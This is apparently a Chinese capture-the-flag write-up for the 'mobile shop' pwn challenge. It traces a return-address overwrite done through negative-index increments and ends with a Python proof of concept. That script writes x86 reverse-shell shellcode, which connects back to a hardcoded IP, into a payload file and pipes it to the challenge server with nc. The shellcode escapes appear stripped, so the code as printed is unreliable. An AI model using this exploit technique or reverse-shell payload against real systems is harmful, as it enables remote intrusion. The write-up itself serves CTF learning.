身无分文: 200
描述
米特尼克在BAT上班时,发现很多同事都在用新款Android手机,很是羡慕,他也想搞一部,来替换他那部用了“二十多年”的摩托罗拉手机。但是他在BAT公司还没拿到第一笔工资,用假身份申请的信用卡在租房与日常饮食上也快刷爆了,可以说是身无分文了。这却难不倒米特尼克,他发现了这个销售手机的在线商店。商店地址:218.2.197.251:1234 http://bctf.cn/files/downloads/mobile_shop_4d904f700ef95bae39936cd9c0829d31
程序界面:
做这种题可以先将 函数流程理出来就好做了
int __cdecl sub_8048C00() 主功能函数{
sub_8048840((int)&v4); 漏洞函数 -》
signed int __cdecl sub_8048A30(int a1)(
函数中明显有一个 sub_80486F0((int)&unk_804B1E0, 200, 10 明显200字节是装载shellcode的)
)
}
int __cdecl sub_8048C00() { char *v0; // eax@1 signed int v1; // eax@4 int result; // eax@10 char v3; // [sp+13h] [bp-19h]@2 char arr; // [sp+14h] [bp-18h]@14 char v5; // [sp+1Bh] [bp-11h]@1 int v6; // [sp+1Ch] [bp-10h]@1
可以看到主函数 sub_8048C00 的返回地址肯定比 arr字符串的地址高,所以可以修改返回地址
可以发现漏洞点:
sub_8048C00 主功能函数
返回地址 :0804859e
修改为 0804B1E0
输入 " -17"可以85 ++ (0xb1-0x85)次
输入 " -16"可以9e ++ (0xe0-0x9e)次
EDB看到:
GDB可以看到:
最后
nc 218.2.197.251:1234 1234 < payload.txt 即可获得shell
POC:
shellcode = ( #define IPADDR 'x0ax10x02x1c' 10.16.2.28 #define PORT 'x7ax69' 'x31xc0x31xdbx31xc9x31xd2' 'xb0x66xb3x01x51x6ax06x6a' 'x01x6ax02x89xe1xcdx80x89' 'xc6xb0x66x31xdbxb3x02x68' #IPADDR 'x0ax10x02x1c' 'x66x68' #PORT 'x7ax69' 'x66x53xfe' 'xc3x89xe1x6ax10x51x56x89' 'xe1xcdx80x31xc9xb1x03xfe' 'xc9xb0x3fxcdx80x75xf8x31' 'xc0x52x68x6ex2fx73x68x68' 'x2fx2fx62x69x89xe3x52x53' 'x89xe1x52x89xe2xb0x0bxcd' 'x80x90' ) data = '' data += 'a -16 '*(0xe0-0x9e) data += 'a -17 '*(0xb1-0x85) data += 'a 1 ' data += 'c y ' data += 'name ' data += shellcode+' ' data += 'd ' open('payload.txt','w').write(data) import binascii print repr(binascii.hexlify(data))